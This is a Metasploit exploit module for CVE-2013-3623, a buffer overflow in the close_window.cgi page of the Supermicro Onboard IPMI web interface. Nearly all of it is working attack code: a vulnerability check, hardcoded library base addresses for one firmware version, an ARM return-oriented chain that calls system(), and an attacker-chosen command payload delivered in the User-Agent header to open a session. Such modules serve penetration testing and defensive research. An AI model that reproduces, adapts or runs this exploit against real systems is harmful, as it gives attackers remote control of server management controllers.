Supermicro Onboard IPMI – ‘close_window.cgi’ Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web interface. The vulnerability exists on the close_window.cgi CGI application, and is due to the insecure usage of strcpy. In order to get a session, the module will execute system() from libc with an arbitrary CMD payload sent on the User-Agent header. This module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214. }, 'Author' => [ 'hdm', # Vulnerability Discovery and Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload 'DisableNops' => true, 'BadChars' => (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic openssl' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ [ 'CVE', '2013-3623' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] ], 'Targets' => [ [ 'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214', { :callback => :target_smt_x9_214 } ] ], 'DisclosureDate' => 'Nov 06 2013', 'DefaultTarget' => 0)) end def send_close_window_request(sess, agent = rand_text_alpha(8)) res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi/close_window.cgi", 'agent' => rand_text_alpha(16) + agent, 'encode_params' => false, 'vars_post' => { 'sess_sid' => sess } }) return res end def check safe_check = rand_text_alpha(20) trigger_check = rand_text_alpha(132) res = send_close_window_request(safe_check) unless res and res.code == 200 and res.body.to_s =~ /Can't find action/ return Exploit::CheckCode::Unknown end res = send_close_window_request(trigger_check) unless res and res.code == 500 return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def target_smt_x9_214 base_crypt = 0x40074000 # libcrypto.so.0.9.8 base_libc = 0x40554000 # libc-2.3.5.so buf = rand_text_alpha(68) buf << rand_text_alpha(4) # r10 buf << rand_text_alpha(4) # r11 buf << rand_text_alpha(4) # sp buf << [base_crypt + 0x39598].pack("V") # pc # mov pc, r4 # 2nd stage buf << "\x68\xd0\x84\xe2" # add sp, r4, 104 # make sp point to controlled data in order to accomplish the "ret2system" offset = ssl ? 208 : 204 # when ssl there is an additional environment variable "HTTPS=on" buf << [offset].pack("C") + "\x50\x84\xe2" # add r5, r4, 204 # make r5 point to pointer to envp buf << "\x70\x40\xb5\xe8" # ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer buf << "\x20\x40\x84\xe2" # add r4, r4, 32 # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment buf << "\x40\x80\xbd\xe8" # ldmfd sp!, {r6, pc} buf << rand_text_alpha(4) # R6 buf << [ base_crypt + 0x3A8BC ].pack("V") # mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command buf << rand_text_alpha(4) # r4 buf << [ base_libc + 0x3617c ].pack("V") # system at libc buf << rand_text_alpha(128-buf.length) # padding to reach memory which allows to control r4 when overflow occurs # 1st stage: adjust r4 and pc buf << "\x80\x40\x44\xe2" # sub r4, r4,-128 # make r4 point to the start of the buffer buf << "\x54\xf0\x84\xe2" # add pc, r4, 84 # give control to 2nd stage return buf end def exploit buffer = self.send(target[:callback]) print_status("#{peer} - Sending exploit...") send_close_window_request(buffer, payload.encoded) end end |